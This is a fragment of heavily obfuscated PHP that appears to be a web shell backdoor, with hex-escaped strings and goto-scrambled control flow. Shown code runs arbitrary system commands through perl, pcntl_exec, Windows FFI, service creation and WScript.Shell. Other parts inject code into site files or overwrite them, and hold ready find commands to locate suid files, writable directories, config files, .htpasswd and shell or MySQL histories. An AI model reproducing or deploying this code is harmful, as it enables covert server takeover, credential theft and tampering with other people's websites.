"\x2a\x53\x54\x4d\106" ? "\x66" : "\x64", $m[6], $m[2]); } elseif (@preg_match("\57\50\133\x2d\x64\x6c\135\51\x28\133\x72\167\170\163\x53\164\124\55\135\173\71\175\x29\133\x20\x5d\x2b\50\x5b\x30\55\x39\x5d\x2b\51\x5b\x20\x5d\x2b\50\x5b\141\x2d\x7a\x41\x2d\132\x30\x2d\x39\135\53\51\x5b\x20\x5d\x2b\50\x5b\x61\x2d\172\x41\x2d\132\60\55\x39\x5d\x2b\51\x5b\40\135\53\50\x5b\60\x2d\71\x5d\x2b\51\x5b\x20\135\x2b\x28\133\141\55\172\x41\x2d\x5a\135\53\133\x20\x5d\53\x5b\x30\x2d\x39\x5d\x2b\x29\x5b\x20\135\53\x28\x5b\60\x2d\x39\72\135\53\51\133\x20\x5d\x28\56\x2a\x29\x2f", $raw, $m)) { $l = array($m[1] == "\144" ? "\x64" : ($m[1] == "\154" ? "\x6c" : "\146"), $m[9], $m[6]); } else { $l = array(); } if (!@isset($l[1]) || $l[1] == "\56" || $l[1] == "\x2e\56" || @substr($raw, 0, 5) == "\164\157\x74\141\154") { return array(); } return $l; } function ftpRawList($dir = '') { if ($dir == '') { $dir = $this->currentDir; } $files = array(); $list = @ftp_rawlist($this->connection, "\55\141\x20" . $dir); if (@is_array($list)) { $i = 0; foreach ($list as $raw) { $line = $this->parseline($raw); if (@count($line) == 3) { $files[$i] = $line; $i++; } } } return $files; } } goto vWBPR; mdHKd: function z9g($n, $v = "\61", $o = '', $i = '') { global ${$n}; return "\74\x69\x6e\x70\165\164\x20\x74\x79\160\145\75\x22\x63\x68\x65\143\x6b\x62\157\x78\x22\40\x69\x64\75\42" . $i . "\x22\40\156\141\x6d\x65\75\42" . $n . "\x22\x20\166\141\x6c\x75\x65\75\42" . $v . "\x22\40\163\164\x79\154\x65\75\42\166\145\162\164\x69\x63\141\x6c\55\x61\x6c\x69\x67\156\x3a\40\155\x69\x64\x64\154\x65\x3b\42" . ($o == '' ? ${$n} == $v ? "\x20\x63\x68\145\143\x6b\145\144" : '' : ($o ? "\x20\143\150\145\143\x6b\145\x64" : '')) . "\76"; } goto f5K4K; c2BKM: function z2j() { global $nix, $sh_exec, $ft, $d, $f; $r = ''; $a = array("\x66\x75\156\x63\x74\151\x6f\156\163" => z9s("\67\x34"), "\x65\x64\151\x74" => z9s("\x37\x35"), "\164\145\170\x74" => z9s("\x37\x39"), "\x63\157\144\x65" => z9s("\70\x30"), "\x68\x74\155\x6c" => z9s("\70\x31"), "\150\x74\155\154\163" => z9s("\70\x32"), "\145\170\145" => z9s("\x38\x33"), "\163\145\x73\x73" => z9s("\70\x34"), "\x73\x64\142" => z9s("\70\65"), "\x69\x6e\x69" => z9s("\x38\66"), "\x69\155\147" => z9s("\x38\x37"), "\x68\145\x78" => z9s("\70\x38")); if (($wwwdir = z3k()) !== false) { if (@strstr($d . $f, $wwwdir) !== false) { $a["\x77\x65\x62"] = z9s("\x38\71"); } } $a["\x64\x6f\x77\156\x6c\157\x61\144"] = z9s("\67\66"); $fta = z4s($f); foreach ($a as $k => $v) { if ($k != "\x65\x78\x65" || $k == "\x65\170\x65" && $sh_exec) { $r .= z7l(z5c(array("\141\x63\x74" => "\x66", "\144", "\146", "\146\164" => $k), z8v($v, $ft == $k ? "\x31\x32" : (@in_array($k, $fta) ? "\61\63" : "\x31\x34")))); } } echo z7s(z7i($r)); } goto j4lOh; bdx4m: if ($act == "\x66" && @isset($ft) && $ft == "\x72\145\156\x61\x6d\145" && @isset($f) && !@empty($f)) { if (@isset($frename) && $frename && @isset($newname) && !@empty($newname)) { if (z3p($newname) == "\56\57") { $newname = z3p($ff) . z2h($newname); } elseif (!z4q(z3p($newname))) { $newname = z3p($ff) . $newname; } if (z4q($newname) && z4j($newname)) { $newname = z1a($newname) . z2h($ff); } echo z2b(@rename($ff, $newname) ? z9s("\64\x37\x34", $newname) : z9s("\64\x37\65", $ff), "\60"); } else { if (!isset($ff)) { if (z4q($d . $f)) { $ff = $d . $f; } elseif (z4q($f)) { $ff = $f; } } echo z2b(z5c(array("\x61\143\x74" => "\x66", "\146", "\144", "\146\164" => "\162\145\x6e\x61\155\x65", "\146\x66", "\146\162\145\156\x61\155\x65" => "\61"), z10e(z7i(z6x(z8e(z9s("\64\x37\63", z2h($ff))) . z5u("\x6e\145\167\x6e\141\x6d\x65", $ff, "\x39") . z8v(z9s("\67\x33"), "\67"))), "\62")), "\60"); } $act = "\x6c\163"; } elseif ($act == "\x66" && @isset($ft) && $ft == "\x64\145\x6c\x65\164\145" && @isset($f) && !@empty($f)) { $ff = ''; if (z4q($d . $f)) { $ff = $d . $f; } elseif (z4q($f)) { $ff = $f; } if (z4q($ff)) { z8d($ff); } $act = "\154\x73"; } goto LRlIH; qnFk5: function z8m($i, $a, $c = '') { return z1f("\x62\165\x74\164\157\x6e", $i, $a, $c); } goto a1VLh; fVDkB: function z6g($c = '', $id = '') { return z6f("\155\151\144\144\x6c\145", $c, $id); } goto dsV5V; JElT1: function z5w($n = '', $c, $r = 0, $w = '', $h = '') { return "\x3c\x74\145\170\164\141\162\x65\x61" . ($n != '' ? "\40\151\144\x3d\x22" . $n . "\42\40\x6e\141\155\145\75\x22" . $n . "\42" : '') . "\x20\x63\x6c\141\163\163\x3d\42" . z4m($c, "\x36") . "\42" . ($w != '' || $h != '' ? "\x20\163\164\171\154\x65\x3d\x22" . ($w != '' ? "\x77\x69\x64\164\150\72" . $w . "\x70\x78\73" : '') . ($h != '' ? "\150\x65\151\x67\x68\x74\x3a" . $h . "\160\x78\73" : '') . "\x22" : '') . ($r ? "\x20\162\x65\141\144\x6f\156\154\171" : '') . "\x3e"; } goto sKj2u; jDx2x: function z9h($n, $c = '', $s = '') { return "\x3c\151\156\160\x75\x74\40\x74\x79\x70\145\x3d\x22\x66\151\154\145\42\40\x6e\141\x6d\145\75\x22" . $n . "\x22\40\x69\x64\x3d\42" . $n . "\42" . ($c != '' ? "\40\x63\x6c\141\163\163\75\x22" . z4m($c, "\x34") . "\x22" : '') . ($s != '' ? z10t($s) : '') . "\76"; } goto vn22N; xy3SS: if (@function_exists("\163\x65\164\137\x6d\141\x67\151\143\x5f\x71\165\157\164\x65\163\x5f\162\165\156\x74\151\155\x65")) { @set_magic_quotes_runtime(0); } goto r_d5C; fSYfL: function z4c($a = '', $n, $c = '', $s = '') { return "\x3c\164\x64\x20\x63\157\154\x73\x70\141\x6e\x3d\42" . $n . "\42" . ($a != '' ? "\40\141\154\x69\147\x6e\75\42" . $a . "\42" : '') . ($c != '' ? "\x20\x63\x6c\x61\163\163\75\42" . z4m($c, "\x32") . "\42" : '') . ($s != '' ? z10t($s) : '') . "\76" . "\12"; } goto BQfnP; e3R6J: if ($bpostgres) { $a_sql[] = "\120\x6f\x73\164\x67\x72\145\123\x51\114"; } goto Ev0aB; dsV5V: function z5v($c = '', $id = '') { return z6f("\x62\x6f\x74\164\x6f\x6d", $c, $id); } goto hTpc_; dUNL1: function z0k($n) { return @isset($_SESSION[$n]) ? $_SESSION[$n] : false; } goto CQHp4; muy7F: function z5k() { return z7r("\147\x65\x74\137\143\x75\x72\x72\145\156\x74\137\165\x73\x65\162") && @get_current_user() != '' ? @get_current_user() : "\125\156\153\156\157\x77\156"; } goto qQxE4; pCD2U: foreach ($_POST as $postk => $postv) { if (@substr($postk, 0, 6) == "\x62\x61\x63\153\146\137") { $postk = @substr($postk, 6); $postv = @urldecode($postv); } if ($postk == "\155\x65\162\147\145\x64") { $ar_merged = parse_str(base64_decode($postv)); if (@count($ar_merged) > 0) { foreach ($ar_merged as $kkey => $kval) { if (!@isset(${$kkey})) { ${$kkey} = @urldecode($kval); } } } } else { if (!@isset(${$postk})) { ${$postk} = $postv; } } } goto gKlw2; Jf7Yq: function z9d($d, $s = "\72") { if ($d != '') { if (!@strstr($d, $s)) { return array($d); } return @array_map("\164\x72\x69\155", @explode($s, $d)); } return array(); } goto cQURc; yWDUh: function z4i($inj, $w, $f) { $c = z9p($f); $r = ''; if (!$c) { return false; } switch ($w) { case "\x74\157\160": $r = $inj . $c; break; case "\145\x6e\144": $r = $c . $inj; break; case "\x70\150\x70\61": $p = @strpos($c, "\74\77"); if ($p === false) { return false; } $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "\x70\150\160\62": $p = z2m($c, "\77\x3e"); if ($p === false) { return false; } $p += 2; $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "\150\164\155\x6c\x31": $p = @strpos($c, "\x3c\x68\x74\155\154\76"); if ($p === false) { return false; } $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "\x68\164\x6d\x6c\62": $p = @strpos($c, "\x3c\x2f\150\164\x6d\x6c\x3e"); if ($p === false) { return false; } $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "\x68\164\155\x6c\x33": $p = @strpos($c, "\74\x68\x74\x6d\154\76"); if ($p === false) { return false; } $p += 6; $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "\x68\x74\x6d\154\x34": $p = @strpos($c, "\74\x2f\150\x74\x6d\x6c\x3e"); if ($p === false) { return false; } $p += 7; $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "\142\x6f\x64\x79\61": if (!@preg_match("\x2f\74\142\157\x64\171\x5b\136\x3e\x5d\x2a\x3e\57", $c, $m)) { return false; } $p = @strpos($c, $m[0]); $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "\142\157\144\x79\62": $p = z2m($c, "\74\x2f\x62\x6f\144\x79\x3e"); if ($p === false) { return false; } $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "\142\157\144\x79\63": if (!@preg_match("\x2f\x3c\x62\x6f\144\x79\133\136\x3e\x5d\x2a\76\57", $c, $m)) { return false; } $p = @strpos($c, $m[0]); $p += @strlen($m[0]); $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "\142\x6f\144\171\x34": $p = z2m($c, "\74\57\142\x6f\144\x79\x3e"); if ($p === false) { return false; } $p += 7; $r = @substr($c, 0, $p) . $inj . @substr($c, $p); break; case "\157\x76\x65\162\x77\x72\x69\164\x65": $r = $inj; break; default: return false; break; } return z9y($f, $r); } goto qAZ8j; HuIOw: function z9o($f, $t = '') { global $tempdir; $s = ''; if (!$t) { $t = @tempnam($tempdir, "\x63\157\160\x79\x74\145\155\160"); } if (@copy("\143\x6f\x6d\x70\x72\145\163\x73\56\172\x6c\x69\142\72\x2f\57" . $f, $t)) { $s = z9p($t); @unlink($t); } return $s; } goto YWujY; fh7cI: function z4t() { global $use_images, $use_buffer, $act, $bcopy, $bcut, $showbuf, $d, $with_ls, $lswf, $filter; $f_a = array("\141\x6c\154" => z9s("\63\67"), "\x64\151\162\x73" => z9s("\63\70"), "\146\x69\x6c\x65\x73" => z9s("\63\71"), "\141\x72\x63\x68\151\x76\x65\163" => z9s("\64\60"), "\145\170\145\x73" => z9s("\x34\61"), "\x70\x68\x70" => z9s("\x34\x32"), "\150\x74\155\154" => z9s("\x34\63"), "\x74\145\x78\164" => z9s("\x34\64"), "\x69\155\x61\x67\x65\x73" => z9s("\x34\x35"), "\157\164\x68\x65\x72" => z9s("\64\x36")); $fs = ''; foreach ($f_a as $fk => $f) { $fs .= z5c(array("\x61\x63\164", "\144", "\x73\x68\157\167\142\165\146", "\146\x69\x6c\164\145\x72" => $fk), z8v($f, @isset($filter) && $filter == $fk || !@isset($filter) && $fk == "\x61\x6c\x6c" ? "\x31\67" : "\61\66")); } $ba = z5c(array("\x61\143\x74", "\x64", "\x75\x73\145\137\142\x75\x66\x66\x65\162" => $use_buffer ? "\x30" : "\x31"), z8v($use_buffer ? z9s("\x35\60") : z9s("\x34\71"), "\x31\x36")); if ($use_buffer && (@count($bcopy) > 0 || @count($bcut) > 0)) { $bbcopy = @count($bcopy) > 0; $bbcut = @count($bcut) > 0; $ba .= z5c(array("\141\x63\164" => "\x6c\163", "\144", "\145\x6d\x70\x74\171\142\x75\x66" => "\x31"), z8v(z9s("\65\x31"), "\x31\66")) . (!@isset($showbuf) || !$showbuf ? z5c(array("\141\x63\x74" => "\x6c\x73", "\x64", "\x73\150\x6f\167\x62\165\146" => "\61"), z8v(z9s("\65\62"), "\61\x36")) . ($bbcopy ? z5c(array("\x61\143\164" => "\144", "\144", "\144\x74" => "\x62\x70\141\163\164\x65\143\x6f\x70\x79", "\x73\x68\x6f\x77\142\165\x66"), z8v(z9s("\65\64"), "\61\66")) : '') . ($bbcut ? z5c(array("\141\143\164" => "\144", "\144", "\x64\x74" => "\142\x70\141\x73\x74\x65\143\165\164", "\x73\150\x6f\x77\x62\165\146"), z8v(z9s("\65\65"), "\x31\x36")) : '') . ($bbcopy && $bbcut ? z5c(array("\x61\143\164" => "\144", "\x64", "\144\164" => "\x62\x70\141\x73\x74\x65\141\154\x6c", "\x73\x68\157\x77\x62\165\146"), z8v(z9s("\x35\66"), "\61\x36")) : '') : z5c(array("\141\143\x74" => "\x6c\163", "\144"), z8v(z9s("\65\x33"), "\61\66"))); } if (!@isset($lswf)) { $lswf = ''; } echo z10e(z7i(z6x($fs . z5c(array("\x61\x63\164", "\x64", "\163\150\157\x77\142\x75\146", "\165\163\145\x5f\x69\155\x61\147\145\x73" => $use_images ? "\x30" : "\61"), z8v($use_images ? z9s("\64\70") : z9s("\64\x37"), "\x31\x36")) . $ba, "\61\61")), "\67"); } goto yoSRB; qQxE4: function z2s($a = array()) { $r = ''; foreach ($a as $k => $v) { $r .= @is_numeric($k) ? z9b($v) : z9b($k, $v); } return $r; } goto Z5JLV; KbUAe: function z0c() { $p = array(); if (@count($_POST) > 0) { foreach ($_POST as $n => $v) { if (@substr($n, 0, 5) != "\142\x61\143\x6b\x66") { $p[$n] = $v; } } } return $p; } goto Ix9f2; yPU8P: function z10y($h, $n, $c = '', $t = '') { return "\x3c\x61\x20\150\x72\x65\x66\75\x22" . $h . "\x22" . ($c != '' ? "\40\x63\x6c\x61\163\x73\75\x22" . z4m($c, "\65") . "\x22" : '') . ($t != '' ? "\40\164\141\x72\x67\x65\164\x3d\x22\x5f\142\154\141\156\153\x22" : '') . "\x3e" . $n . "\74\57\141\x3e"; } goto Df8cq; nwK3r: function z5y($i, $t, $n, $v = "\61", $o = '') { return z9g($n, $v, $o, $i) . z6e($i, $t); } goto jDx2x; aiZry: function z7y($i, $v, $c = '', $id = '') { return z6f($v, $c, $id) . $i . z7u(); } goto BgZlS; be60l: function z5z($c = '', $s = '') { return z5l("\154\145\x66\164", $c, $s); } goto CqH_3; Qzybk: function z5d($sk) { global $backf, $white, $back_form_actions; z0o($sk); if (@isset($backf) && $backf) { @array_pop($_SESSION[$sk]); } elseif (!@isset($white) || !$white) { z0f($sk); } $back = z3d($sk); if (z2l($sk) > 10) { z3o($sk); } $a = array(); if (@count($back) > 0) { $a["\142\141\x63\153\146"] = "\x31"; if (@is_array($back)) { foreach ($back as $k => $v) { $a["\x62\x61\x63\153\x66\137" . $k] = @urlencode($v); } } } $back_form_actions = $a; return z6x(@count($a) > 0 ? z5c($a, z8v(z9s("\62\x33"), "\x31\65")) : z8v(z9s("\62\x33"), "\x35"), "\x35"); } goto s1vCu; ZAtqh: if (z7r("\x64\151\163\x6b\x5f\146\x72\x65\x65\x5f\163\x70\141\x63\x65") && z7r("\x64\151\x73\x6b\x5f\164\157\x74\x61\x6c\x5f\x73\x70\x61\143\145")) { $free = @disk_free_space($d); $total = @disk_total_space($d); if ($free === false) { $free = 0; } if ($total === false) { $total = 0; } if ($free < 0) { $free = 0; } if ($total < 0) { $total = 0; } $dfree = @str_replace("\x20", '', z7c($free)); $dtotal = @str_replace("\x20", '', z7c($total)); $dused = @str_replace("\x20", '', z7c($total - $free)); } goto Fgj6F; qpEVy: function z6v($c) { global $win, $tempdir; $r = ''; if (!empty($c)) { if (!$win) { if (extension_loaded("\160\x65\162\x6c")) { @ob_start(); $p = new perl(); $p->eval("\163\171\x73\x74\145\x6d\x28\47{$c}\x27\x29"); $r = @ob_get_contents(); @ob_end_clean(); } elseif (z7r("\x70\x63\156\164\x6c\x5f\145\170\145\143") && z7r("\x70\143\x6e\164\x6c\137\x66\157\162\x6b")) { $r = "\x5b\176\x5d\40\102\154\151\x6e\x64\40\103\x6f\x6d\x6d\x61\x6e\144\x20\105\170\x65\143\165\164\151\157\x6e\40\166\151\x61\x20\133\160\143\x6e\164\x6c\x5f\145\x78\145\143\135\134\156\134\156"; $o = $tempdir . uniqid("\x70\x63\x6e\x74\154"); $pid = @pcntl_fork(); if ($pid == -1) { $r .= "\x5b\x2d\x5d\40\x43\x6f\165\x6c\x64\x20\156\x6f\x74\40\146\x6f\x72\153\x2e\x20\105\170\x69\164"; } elseif ($pid) { $r .= @pcntl_wifexited($status) ? "\x5b\x2b\135\x20\x44\157\156\145\41\x20\x43\x6f\155\155\x61\156\x64\x20\42" . $c . "\x22\x20\163\165\x63\x63\x65\x73\163\x66\165\x6c\x6c\x79\x20\x65\x78\x65\143\x75\164\x65\144\56" : "\x5b\x2d\135\40\105\162\x72\x6f\x72\56\40\111\x6e\143\x6f\x72\162\145\143\x74\40\x43\x6f\x6d\155\141\156\144\56"; } else { $c = array("\40\55\x65\x20\x27\163\x79\163\x74\x65\x6d\50\x22{$c}\x20\76\40{$o}\x22\x29\x27"); if (@pcntl_exec("\x2f\165\x73\x72\x2f\142\x69\x6e\57\x70\145\x72\154", $c)) { die(0); } if (@pcntl_exec("\57\165\x73\162\x2f\154\x6f\143\141\154\57\x62\x69\x6e\57\160\145\x72\x6c", $c)) { die(0); } die; } $r = z9p($o); @unlink($o); } } else { $o = $tempdir . uniqid("\x4e\x4a"); if (extension_loaded("\x66\x66\x69")) { $a = new ffi("\x5b\154\151\142\75\x27\x6b\145\162\x6e\145\154\x33\62\56\x64\x6c\154\x27\x5d\x20\151\156\x74\40\127\x69\156\105\170\145\143\50\x63\150\141\x72\40\52\x41\120\x50\54\x69\x6e\x74\x20\123\127\51\x3b"); $r = $a->WinExec("\x63\155\144\x2e\x65\170\145\40\x2f\x63\x20" . z6l($c) . "\x20\x3e\x22{$o}\x22", 0); while (!@file_exists($o)) { sleep(1); } $r = z9p($o); } elseif (extension_loaded("\x77\151\156\63\x32\x73\x65\162\x76\151\x63\x65")) { $s = uniqid("\116\x4a"); @win32_create_service(array("\163\x65\162\166\151\143\145" => $s, "\x64\x69\x73\160\154\141\171" => $s, "\160\141\164\150" => "\x63\x3a\134\x77\x69\156\x64\157\167\163\x5c\163\x79\163\x74\145\x6d\x33\62\x5c\x63\155\144\56\145\x78\145", "\160\x61\162\x61\155\163" => "\x2f\143\40" . z6l($c) . "\x20\x3e\42{$o}\x22")); @win32_start_service($s); @win32_stop_service($s); @win32_delete_service($s); while (!@file_exists($o)) { sleep(1); } $r = z9p($o); } elseif (extension_loaded("\x77\151\x6e\63\62\x73\x74\144")) { @win_shell_execute("\x2e\x2e\x5c\56\56\134\56\56\x5c\x2e\56\x5c\x2e\x2e\x5c\x2e\56\x5c\x2e\56\134\x77\x69\x6e\144\x6f\167\x73\x5c\163\x79\x73\164\x65\x6d\x33\x32\x5c\x63\155\x64\x2e\x65\x78\x65\x20\57\143\40" . z6l($c) . "\40\76\x20\42" . $o . "\42"); while (!@file_exists($o)) { sleep(1); } $r = z9p($o); } else { $a = new COM("\x57\x53\143\x72\x69\x70\164\x2e\123\x68\145\154\x6c"); $a->Run("\143\x3a\x5c\x77\x69\x6e\144\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\63\x32\134\x63\155\144\x2e\145\170\x65\x20\x2f\143\x20" . z6l($c) . "\x20\x3e\40\x22" . $o . "\42"); $r = z9p($o); } @unlink($o); } } return $r; } goto YOLQZ; T7kQH: $findaliases = array("\x66\151\156\x64\x20\x73\165\151\144\40\146\x69\x6c\145\163" => "\146\x69\x6e\144\x20\45\x70\141\x74\150\45\40\x2d\164\171\x70\145\40\x66\x20\55\160\145\x72\x6d\40\x2d\60\x34\60\60\x30\x20\x2d\x6c\x73\40\62\76\57\144\x65\166\x2f\156\165\x6c\x6c", "\x66\151\156\144\40\x73\x67\151\144\40\x66\x69\154\x65\163" => "\x66\151\156\144\x20\45\160\141\x74\x68\x25\40\55\x74\171\160\x65\x20\x66\40\55\x70\145\x72\x6d\40\x2d\60\x32\60\x30\60\x20\x2d\154\163\40\x32\x3e\x2f\144\145\x76\x2f\x6e\x75\x6c\x6c", "\146\151\156\x64\40\x77\x72\151\x74\141\142\x6c\145\x20\x64\151\x72\163" => "\x66\151\x6e\144\40\x25\x70\x61\164\x68\x25\40\55\160\145\x72\155\40\x2d\62\40\55\x74\171\160\145\40\144\x20\55\154\163\x20\62\76\57\x64\145\166\x2f\x6e\165\154\x6c", "\x66\x69\156\144\x20\167\162\x69\164\141\142\154\x65\40\x66\x69\154\x65\163" => "\146\151\156\144\x20\x25\x70\x61\x74\150\45\x20\55\160\x65\162\x6d\x20\x2d\62\x20\x2d\164\x79\160\x65\x20\x66\x20\x2d\x6c\163\x20\62\76\57\x64\x65\x76\57\x6e\165\x6c\x6c", "\146\151\156\144\x20\167\162\x69\x74\141\142\x6c\145\x20\154\151\156\153\163" => "\x66\x69\156\144\40\x25\160\141\x74\150\45\x20\x2d\160\x65\x72\155\40\55\x32\40\x2d\164\x79\160\145\40\x6c\40\x2d\x6c\163\40\62\x3e\x2f\144\145\x76\57\x6e\165\x6c\154", "\146\151\156\x64\40\x77\162\x69\164\x61\142\154\x65\40\144\151\162\163\x2f\146\x69\154\x65\163\57\x6c\151\x6e\x6b\163" => "\146\151\156\144\40\45\160\141\164\150\45\x20\x2d\160\x65\x72\155\x20\55\x32\40\x2d\x6c\163\40\x32\76\x2f\144\145\166\x2f\156\x75\154\154", "\x66\x69\156\x64\x20\143\157\156\146\x69\x67\x2a\40\x66\x69\154\x65\x73" => "\x66\x69\156\x64\x20\x25\x70\x61\164\x68\45\x20\55\x74\171\160\x65\x20\146\40\55\156\x61\155\x65\x20\x27\143\157\156\x66\151\x67\x2a\47", "\x66\x69\156\x64\40\143\x6f\156\146\151\147\56\x70\x68\160\40\146\151\154\x65\x73" => "\x66\x69\x6e\x64\x20\x25\160\x61\164\x68\45\40\x2d\x74\x79\x70\x65\40\x66\x20\55\156\x61\x6d\145\40\x63\x6f\x6e\146\x69\147\x2e\160\x68\160", "\146\x69\156\144\x20\143\x6f\x6e\x66\151\147\56\151\x6e\x63\x2e\160\150\x70\x20\x66\151\154\x65\x73" => "\x66\151\x6e\x64\x20\45\160\141\164\150\45\x20\x2d\164\171\160\x65\x20\x66\40\x2d\156\x61\x6d\x65\x20\x63\x6f\156\146\x69\147\x2e\x69\x6e\x63\56\160\x68\x70", "\146\151\x6e\144\40\x73\x65\x72\x76\x69\x63\x65\56\160\x77\x64\x20\x66\x69\x6c\x65\163" => "\x66\x69\x6e\144\x20\45\x70\x61\164\150\x25\40\55\164\171\160\145\40\x66\x20\55\x6e\x61\x6d\x65\40\x73\x65\x72\x76\x69\x63\145\x2e\x70\167\x64", "\146\151\x6e\x64\40\x2e\150\164\x70\x61\x73\163\x77\x64\x20\146\x69\154\x65\x73" => "\x66\x69\x6e\x64\40\x25\160\141\x74\x68\x25\x20\55\x74\171\160\145\40\x66\40\55\x6e\x61\155\x65\x20\56\x68\164\160\141\x73\163\x77\144", "\x66\x69\156\144\40\56\142\x61\x73\x68\40\x68\x69\163\164\x6f\162\x79" => "\146\151\156\144\40\x25\x70\x61\x74\150\45\x20\55\164\x79\160\145\x20\146\x20\x2d\x6e\x61\155\x65\40\56\142\141\x73\150\x5f\150\151\x73\x74\x6f\x72\171", "\x66\x69\156\144\x20\x2e\x6d\x79\163\x71\154\x20\150\x69\x73\164\x6f\x72\171" => "\x66\x69\156\x64\x20\45\x70\141\x74\150\45\x20\x2d\164\x79\x70\x65\40\x66\x20\55\x6e\x61\155\145\40\56\x6d\171\163\161\154\137\x68\151\163\164\157\162\x79", "\x66\151\156\x64\40\x66\145\x74\x63\150\x6d\x61\x69\154\x72\143" => "\x66\151\156\144\40\45\160\141\x74\x68\x25\40\55\x74\171\x70\x65\40\146\40\55\x6e\141\155\145\40\56\x66\145\164\x63\150\155\x61\151\x6c\x72\x63"); goto yeVKG; s4IAm: function z1g() { foreach (array("\142\x63\x6f\160\x79", "\x62\143\165\164") as $t) { global ${$t}; if (@isset($_SESSION[$t])) { ${$t} = $_SESSION[$t]; } elseif (($c = z1u($t)) != '') { ${$t} = @unserialize($c); } else { ${$t} = array(); } } } goto zGSMC; sKj2u: function z5q() { return "\x3c\57\x74\x65\170\164\141\x72\x65\141\76"; } goto s70Qt; mFupx: function z7o($u, $t = '', $m = "\107\105\x54") { return "\74\x66\x6f\162\x6d\40\155\145\164\150\x6f\144\x3d\x22" . $m . "\42\40\141\143\164\151\x6f\156\x3d\42" . $u . "\x22" . ($t != '' ? "\x20\x74\141\162\147\x65\x74\75\x22\137\142\154\141\x6e\x6b\42" : '') . "\x3e"; } goto tL2GR; qBrUh: function z6y($t, $c = '') { return "\x3c\x73\160\141\156\40\x63\x6c\x61\x73\x73\75\x22" . $c . "\42\x3e" . $t . "\x3c\57\163\x70\141\156\76"; } goto wEoeY; wF1i2: function z9e() { global $nix, $sh_exec, $dtotal, $dfree, $dused, $win; $it = @intval($dtotal); $iu = @intval($dused); $used = @round($iu / $it * 100); $r = array(array(z2g($used), z9s("\x34\62\66", $dtotal) . "\x20" . z9s("\64\62\x39", $dused) . "\x20\50" . $used . "\x25\x29\x20" . z9s("\64\x36\65", $dfree))); if ($win && z7r("\144\x69\x73\153\137\146\162\x65\x65\137\163\x70\x61\x63\x65") && z7r("\144\x69\x73\x6b\137\164\157\x74\x61\x6c\137\x73\160\141\x63\145")) { $tr = array(); foreach (@range("\x42", "\x5a") as $let) { if (z4q($let . "\72\57")) { $free = @disk_free_space($let . "\x3a\x2f"); $total = @disk_total_space($let . "\72\x2f"); if ($free === false) { $free = 0; } if ($total === false) { $total = 0; } if ($free < 0) { $free = 0; } if ($total < 0) { $total = 0; } $used = $total - $free; $pused = @round($used / $total * 100); $tr[$let . "\72"] = array(z2g($pused), z9s("\64\x32\x36", z7c($total)) . "\40" . z9s("\x34\x32\71", z7c($used)) . "\x20\x28" . $pused . "\45\x29\x20" . z9s("\64\66\x35", z7c($free))); } } if (@count($tr) !== 0) { $r = $tr; } } elseif ($nix && $sh_exec) { $df = z9t("\144\x66\x20\55\x42\x31"); if (!@empty($df)) { $e = @explode("\12", $df); @array_shift($e); $tr = array(); foreach ($e as $l) { $p = @preg_split("\x2f\x20\x2f", $l, NULL, PREG_SPLIT_NO_EMPTY); if (@count($p) !== 6) { break; } $used = @round($p[2] / $p[1] * 100); $tr[$p[5]] = array(z2g($used), z9s("\64\62\x36", z7c($p[1])) . "\x20" . z9s("\x34\62\71", z7c($p[2])) . "\40\x28" . $used . "\x25\x29\40" . z9s("\x34\x36\x35", z7c($p[3])) . "\40\106\x53\x3a\x20" . $p[0]); } if (@count($tr) !== 0) { $r = $tr; } } } return $r; } goto hrwR0; qT87w: function z1t($p) { $r = ''; for ($i = 0; $i < @strlen($p); ++$i) { $r .= "\x5c\x78" . @sprintf("\x25\x30\x32\130", @ord($p[$i])); } return @substr(@preg_replace("\x2f\56\x7b\x31\x2c\67\66\x7d\57", "\47\x5c\x30\47\x2e\12", $r), 0, -2); return @chunk_split($r); } goto i2NpH; l60kI: function z1z($n, $v = '', $e = 0, $p = '', $d = '', $s = false, $h = false) { $_COOKIE[$n] = $v; return @setcookie($n, $v, $e, $p, $d, $s, $h); } goto aXDYP; JqvWJ: function unset_buffer() { if (@isset($_SESSION["\x62\165\146\146\x65\x72"])) { unset($_SESSION["\x62\165\x66\x66\145\x72"]); } } goto gKcxD; EFPMm: if ($act == "\163\x65\x61\162\143\x68") { $ftarget = 1; $fullpath = 1; if (!@isset($s_in) || @empty($s_in)) { $s_in = $d; } if (!@isset($sn) || @empty($sn)) { $sn = "\50\56\x2a\x29"; $sn_reg = 1; } if (!@isset($sn_reg)) { $sn_reg = ''; } if (!@isset($st)) { $st = ''; } if (!@isset($st_reg)) { $st_reg = ''; } if (!@isset($st_wwo)) { $st_wwo = ''; } if (!@isset($st_cs)) { $st_cs = ''; } if (!@isset($st_not)) { $st_not = ''; } if (!@isset($s_fd)) { $s_fd = ''; } if (!@isset($s_rec)) { $s_rec = "\x31"; } if (!@isset($find_text) || @empty($find_text)) { $find_text = "\164\x65\x78\x74"; } if (!@isset($find_in_dir) || @empty($find_in_dir)) { $find_in_dir = $d; } if (!@isset($find_in_files) || @empty($find_in_files)) { $find_in_files = "\52\x2e\160\x68\160\x3b\x2a\56\164\170\x74"; } z0d(); if (@isset($submit) && $submit) { $found = array(); $found_d = 0; $found_f = 0; $search_i_f = 0; $search_i_d = 0; $ar = array("\163\x6e" => $sn, "\x73\156\x5f\162\x65\x67" => $sn_reg, "\163\x74" => $st, "\163\164\x5f\162\x65\x67" => $st_reg, "\163\x74\137\x77\x77\x6f" => $st_wwo, "\x73\164\137\143\163" => $st_cs, "\x73\x74\x5f\x6e\x6f\164" => $st_not, "\163\x5f\146\144" => $s_fd); $in = @array_unique(@explode("\73", $s_in)); foreach ($in as $v) { $sdir = $v; z5f($v); } if (@count($found) == 0) { echo z2b(z9s("\x31\66\x30")); } else { $nolsmenu = 1; $nohead = 1; $ls_a = $found; $act = "\154\163"; } } } goto m_ZPO; vn22N: function z8h($v, $c = '', $o = '') { return "\74\x69\x6e\x70\165\164\x20\164\171\160\x65\x3d\42\x74\145\170\164\x22\x20\166\x61\x6c\x75\x65\75\42" . z8x($v) . "\42" . ($c != '' ? "\x20\143\x6c\141\x73\163\75\x22" . z4m($c, "\64") . "\x22" : '') 